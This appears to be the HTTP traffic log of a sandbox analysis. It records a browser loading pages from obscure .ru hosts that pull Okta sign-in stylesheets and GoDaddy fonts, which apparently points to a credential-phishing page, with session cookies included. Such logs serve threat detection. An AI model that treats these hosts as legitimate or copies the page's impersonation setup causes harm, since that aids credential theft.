Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=Bs5PMghMt9I1va9enLjOQ_Xu05QhZV2DAOmstyaswts-1742486119-1.0.1.1-ziCtFVSTFmGMXDljI1qbU_ZXog1yrREx636u5VN0Tf64bXOHMyXHC6b16rNLTV0OXuo0QCPFMcPxBsTUGRnOO_W1.nrd.S.lX0kVrb3BkoM
Source: global traffic	HTTP traffic detected: GET /bhanchod@18747jh HTTP/1.1Host: 1deoi.pnkptj.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://b3rz.5m54lq.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bhanchod@18747jh HTTP/1.1Host: 1deoi.pnkptj.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /A9y-e3M/ HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://b3rz.5m54lq.ru/A9y-e3M/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imd1TmdSYnB6azU2empac3VmVjFXSlE9PSIsInZhbHVlIjoibjVScHMxSml2eXpxNTFGSFBJUkJNY252eTJOZHVMSEw1cVlWMTNmVjA3YU5kQkFUUUJYVzBZV2hhQ0lvOUdFREhlK1JYd0lNS3dIWUMvNTRDcG5XZEgzZ0g2UGtGTDdKOTNnTjVCUWVSTWg1a0lQNUVPQTEzUCtTN3pFc0UwVGUiLCJtYWMiOiI1MmQ5N2ZjNzcxYWZmNjU0NWM4NTJhM2FmMjZmNjg4MWFiZDQ1ZWUxMTljN2NmYzJlY2RiY2I1MWVmZGVmOWVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNML0RuWlQ2eFQreU9tN0tGYUh5WFE9PSIsInZhbHVlIjoiS0FFUG5DZG1KaUg4alViZTc4L2hEY1lOQ0w5NXlMZkg0OE5aMEpIUTZPQklVeG5lUllsU2tZbGgzMHYwMno5OWIySzJ4T3NhNzQ0QkFPUlY3b283bldicXBkK2hEOVRtWFdVUDNhMHh1alhQenQ2K25IWjB6MnJUQ1YzME5SRysiLCJtYWMiOiI1OWJjZWE1ZWNhZmMzODExMDQ2M2QwYmQ1ZDY1YWRhMGRmMDIzZGQ0ZTU3YjMxMjhjNDFiYjI2NzQ2ZjRlOGYyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /clYqCfSLHMMfutmJWSk5eJ6HZy8tfeJ48 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imd1TmdSYnB6azU2empac3VmVjFXSlE9PSIsInZhbHVlIjoibjVScHMxSml2eXpxNTFGSFBJUkJNY252eTJOZHVMSEw1cVlWMTNmVjA3YU5kQkFUUUJYVzBZV2hhQ0lvOUdFREhlK1JYd0lNS3dIWUMvNTRDcG5XZEgzZ0g2UGtGTDdKOTNnTjVCUWVSTWg1a0lQNUVPQTEzUCtTN3pFc0UwVGUiLCJtYWMiOiI1MmQ5N2ZjNzcxYWZmNjU0NWM4NTJhM2FmMjZmNjg4MWFiZDQ1ZWUxMTljN2NmYzJlY2RiY2I1MWVmZGVmOWVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNML0RuWlQ2eFQreU9tN0tGYUh5WFE9PSIsInZhbHVlIjoiS0FFUG5DZG1KaUg4alViZTc4L2hEY1lOQ0w5NXlMZkg0OE5aMEpIUTZPQklVeG5lUllsU2tZbGgzMHYwMno5OWIySzJ4T3NhNzQ0QkFPUlY3b283bldicXBkK2hEOVRtWFdVUDNhMHh1alhQenQ2K25IWjB6MnJUQ1YzME5SRysiLCJtYWMiOiI1OWJjZWE1ZWNhZmMzODExMDQ2M2QwYmQ1ZDY1YWRhMGRmMDIzZGQ0ZTU3YjMxMjhjNDFiYjI2NzQ2ZjRlOGYyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/A9y-e3M/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJ0R3QrcGhSeXRsS052NDJ1Tm84ekE9PSIsInZhbHVlIjoiTy9mOUxVZm1PV1pqcW9NajAzbHNMM1R4RXp0RUR3azNKbEZJQks3b2ZBVWcrU3RubXdDRXdUSk9iTUs0anl2Sit4a2wzSVpMN2U4bXdPNkhSdlZ0ZEw5amoxTVE2eUNCOXhSR3pXYW9abHdKSnFaSGdVdkxxRzJMU0taQzkrd04iLCJtYWMiOiIxNTVjMDY1ODUzOTg5NGViNDQwNjQzZGI2M2Y1MGY0ZDQ3MGNkMTgxNmYyMGY5MWM0YmVmMjg4NGViZmFhNTMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEycDllYjF3WDhxdjlNV0R0WGJ3WFE9PSIsInZhbHVlIjoieTdFK0Vud0FpQ0xYWThick9SVmt0VEtwR0VDYjJnSlV2b3A4MzhhME9tVDBjajQ0aDNqY2YwbjBPajBkWkFVaFM3Y1RNSHFQeXlBVVlKMlJEdHlFZlhSNDEyNDhSbWpva1VjK0kyTEZ6dVR6b3VhWUxnMXhXOWVIMk5SYjJjcEUiLCJtYWMiOiI0M2IxMTE4YWNlMDFlNzYwYjQyMzFjZWE3OWZiZTdmNTA4YWYxYjQ3M2VhN2JlNmJiZjA0Y2E1YTllNzdjZWFjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xy8sEcUtK4pgBbthxRMPpKtkyoIMdeQlyILI7gy HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkpvN3JxbXlaMzNrTHhHdmtreFlZS1E9PSIsInZhbHVlIjoibWd4ZjFUM3NLU2djQUtjTzlHeStXRmliQzVta3ZWVUVOdjkvWXpIR0tQcWtDeGpTblIrRG56ZlJlbnROd1l0Znp0Zlp2RVkxK1ErZkt5K1hGckJ2SW55UXMxVURHZklkNloxN0NMaW8yeXY1b3M2MXNCRFYweW1sUFIrRnp0UHYiLCJtYWMiOiJkNGQ2M2E4NzU1MDhlZjBlMThlMjUzZTNkZWMzYzlhY2RkMWViZjRiMWRhMmQyMDgxZTQ0MjIyODI4Y2UzZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImxHMTNQcExEMlNlMitXTFFkQ01Bd0E9PSIsInZhbHVlIjoiT2Y4Y2ZRcFl6OU5HTlFUYURGTTdIMXBCMkd2d2JVK0ZoeVprT0d5NTRzbytWR0VnT1BaL2l5RXJlN21DTStNMFJGV0h5RE1UM0lSTVNYa1dIYzlqN1NIMW93UXJaYkhqck9KY0lJMXNsbTRiZnc2U0JrOFFtQlIwWUhKQUhiZ0EiLCJtYWMiOiIyOTkxYzM5MGU4Y2JlNDY1MDk2YzJmODg2YTQ0MDY2MDgwYjY5OTQwNGZhY2Q1NGQzMWQzNWY1YzgyZjFmOGY5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://b3rz.5m54lq.ru/A9y-e3M/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkpvN3JxbXlaMzNrTHhHdmtreFlZS1E9PSIsInZhbHVlIjoibWd4ZjFUM3NLU2djQUtjTzlHeStXRmliQzVta3ZWVUVOdjkvWXpIR0tQcWtDeGpTblIrRG56ZlJlbnROd1l0Znp0Zlp2RVkxK1ErZkt5K1hGckJ2SW55UXMxVURHZklkNloxN0NMaW8yeXY1b3M2MXNCRFYweW1sUFIrRnp0UHYiLCJtYWMiOiJkNGQ2M2E4NzU1MDhlZjBlMThlMjUzZTNkZWMzYzlhY2RkMWViZjRiMWRhMmQyMDgxZTQ0MjIyODI4Y2UzZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImxHMTNQcExEMlNlMitXTFFkQ01Bd0E9PSIsInZhbHVlIjoiT2Y4Y2ZRcFl6OU5HTlFUYURGTTdIMXBCMkd2d2JVK0ZoeVprT0d5NTRzbytWR0VnT1BaL2l5RXJlN21DTStNMFJGV0h5RE1UM0lSTVNYa1dIYzlqN1NIMW93UXJaYkhqck9KY0lJMXNsbTRiZnc2U0JrOFFtQlIwWUhKQUhiZ0EiLCJtYWMiOiIyOTkxYzM5MGU4Y2JlNDY1MDk2YzJmODg2YTQ0MDY2MDgwYjY5OTQwNGZhY2Q1NGQzMWQzNWY1YzgyZjFmOGY5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34WB3Q5Zd0ilQXlkxyUaYrb8920 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyDUcNavBFpq3vIgh25 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveOrigin: https://b3rz.5m54lq.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
